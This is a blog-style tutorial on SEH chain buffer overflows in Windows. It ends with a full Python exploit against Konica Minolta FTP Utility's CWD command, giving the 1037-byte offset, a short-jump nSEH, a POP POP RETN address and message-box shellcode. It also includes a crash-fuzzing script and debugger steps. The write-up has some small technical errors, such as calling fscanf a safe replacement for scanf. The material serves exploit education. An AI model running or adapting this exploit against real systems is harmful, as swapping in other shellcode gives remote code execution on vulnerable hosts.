Pwning with SEH based buffer overflows

I love low level stuff and today I put together my knowledge about special type of buffer overflow vulnerabilities called SEH chain corruption. SEH stands for Structured Exception Handler , it’s responsible for error handling in windows. Before I go in depth about this , first I would like to discuss about what’s a buffer overflow for the uninitiated.

What is Buffer Overflow ?

Buffer overflows occur when size of user input is not properly validated. It happens when more data into a buffer than it can handle. This often found programming error can be taken advantage to execute arbitrary code. What would a vulnerable code look like ?

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
int main(main){
...
...
char buf[10];
scanf("%s",buf);
...
...
}

scanf() does not checks size of input and buffer overflow is going to happen if someone tries to put string of length more than 10 into buf variable . This can potentially allow malicious user to execute some arbitrary code. Even in-built C function suffer from this weakness which should be clear from from above sample code.

Following shows some common vulnerable function which should not be used , instead alternative which do bound checking should be used.

gets() -> fgets() - To read characters.

strcpy() -> strncpy() - To copy content of the buffer.

strcat() -> strncat() - To buffer concatenation.

sprintf() -> snprintf() - To fill buffer with data of different types.

scanf() -> fscanf() - To read formatted input.

Some functions do not have safer alternatives , those should be self implemented with proper bound checking. Some people might ask what exactly happens if we write larger data into small buffer ? Well , as name suggests it overflows into nearby memory and overflow can be controlled in such a way we can get control of IP (Instruction Pointer) and it be can directed to execute malicious code somewhere in memory. In some cases control of Instruction Pointer is not possible so , only Denial Of Service(DoS) attack is only possible in those cases.

Buffer Overflow are classified into

Stack Overflow
Heap Overflow

There are many sub-category of Stack and Heap overflow. Above stated code was stack overflow as variables are stored in stack memory. Similarly overflow can happen in dynamic memory too.

SEH Overflow

Coming back to star of this article , SEH overflows. This is actually a type of stack overflows where we overwrite SEH in stack area.

What is SEH?

If you are familiar with programming , you probability might have used try and catch block in your code to catch exceptions generated by
some specific code and to deal with it if exceptions get caught.

SEH is the native exception handling mechanism for Windows which was originally developed by Borelands and is licensed to Microsoft. SEH are structured in linked list data structure. It’s header pointer is maintained in TIB (Thread Information Block). In 32-bit systems FS register stores pointer on TIB.

If an exception can be handled , exception handler is called otherwise it’s passed to other handler by this linked list structure.


At the end there is default exception handler which kicks in if everything else fails to catch exception.
In order for the application to be able to go to the catch code, the pointer to the exception handler code is saved on the stack . This makes things interesting
as this address could potentially be overwritten allowing us to control EIP

I am going to demonstrate exploitation by using Konica Minolta FTP Utility which has this vulnerability. Vulnerable program runs on windows 7 and attack payload is sent using Linux machine. Immunity debugger was to debug. To test if this program is vulnerable to overflow , I sent ridiculously long string to remote FTP server, using this python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buf = 'CWD '
buf += "A"*5000
s.connect(('192.168.56.102',21))
print(s.recv(1024))
s.send('USER anonymous')
print(s.recv(1024))
s.send('PASS anonymous')
print(s.recv(1024))
s.send(buf)
print(s.recv(1024))
s.close


Interestingly , we were able to cause an exception.
Let’s try to pass this exception using SHIFT+F7

and voila

SEH chain is corrupted and EIP tried to execute code at [41414141] which is hexcode for “A” and got access violation because that’s a valid memory address.
Note that our ‘shellcode’ (which is just “A” here) is located after nSEH (Next SEH ) and SEH Handler. Shellcode is our ‘malicious’ code which which we wanna execute.

How to exploit it ?

SEH exploits are based on the fact that the attacker can alter a portion of the stack and manipulate it to direct the execution of the SEH handler after an exception is raised. After an exception, execution begins at the address that is pointed by the first SEH handler in stack. So the attacker could alter the SEH handler and begin execution of shellcode. Assuming , there is no DEP and SafeSEH enabled this is the general overview of this technique

Now we need to find out after how many bytes we write SEH , We’ll use Metasploit’s pattern generator to do this. To generate we’ll use use pattern_create.rb (in metasploit-framework/tools/)

1
$ pattern_generate.rb 5000 > ~/pattern.txt

and send this pattern in ‘buf’ variable in our python script


Now after we get exception we fire up mona.py in Immunity to find location after which we can write SEH chain using

1
!mona findmsp


Nice so after 1037 bytes we reach our SEH chain and can overwrite address.

Last piece of puzzle is how exactly to do it. One little detail I left out is that when an exception is raised, the memory looks like this:

Because when system tries to handle the exception that is raised, it sets up the EXCEPTION_DISPOSITION Handler structure on the stack.

Now we need to get to our shellcode . First step would be to return to our SEH chain for this reason we need to execute POP POP RETN instruction which will get us back to nSEH (Next SEH) . Two POP will pop top of stack and RETN will put whatever is on top of stack to EIP (Instruction Pointer register)

I used mona.py Immunity script to find location of POP POP RETN in any loaded DLL which have no ASLR and no SafeSEH.

1
!mona seh


I can use any of this address to execute POP POP RETN

After returning to nSEH I need to jump to shellcode which is 8 bytes away from nSEH , So overwriting nSEH with instruction , just to be safe I am going jump 12 bytes ahead

1
2
3
NOP
NOP
JMP SHORT <12 bytes ahead>

note that NOP instruction is does nothing and it’s op code is “90” and is generally used as ‘filler’ op code for this instruction will be “\xEB\x0A\x90\x90” (It’s in reverse order to take account for Little Endianess in x86 ). We will write nSEH with this address and handler with any of pointer to POP POP RETN found using mona.py

Quick Recap:

We can modify SEH chain which consists of NEXT SEH and SEH HANDLER. We are writing NEXT SEH with instruction to jump 12 bytes ahead and SEH HANDLER with pointer to POP POP RETN instruction to get back to NEXT SEH and from it to our shellcode.

For the shellcode , I used this alert message shellcode http://shell-storm.org/shellcode/files/shellcode-648.php

our final exploit looks like

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buf = ""
buf += "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
buf += "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
buf += "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
buf += "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
buf += "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
buf += "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
buf += "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
buf += "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
buf += "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
buf += "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
buf += "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
buf += "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
buf += "\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72"
buf += "\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F"
buf += "\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01"
buf += "\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65"
buf += "\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B"
buf += "\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"
buf += "\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24"
buf += "\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57"
buf += "\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01"
buf += "\x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F"
buf += "\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24"
buf += "\x40\xFF\x54\x24\x40\x57\xFF\xD0"
nSEH = "\xeb\x0a\x90\x90"
SEH = "\x5D\x32\x20\x12"
buffer = "CWD "+"\x41" * 1037 + nSEH + SEH + "\x90" *20 + buf + "\x90"*200
print len(buffer)
print len(buf)
s.connect(('192.168.56.102',21))
print(s.recv(1024))
s.send('USER anonymous')
print(s.recv(1024))
s.send('PASS anonymous')
print(s.recv(1024))
s.send(buffer)
print(s.recv(1024))
s.close

Running this gives us

Game Over :D

Thanks to : corelanc0d3r , Vivek Ramachandran and TOMIWA (for original exploit)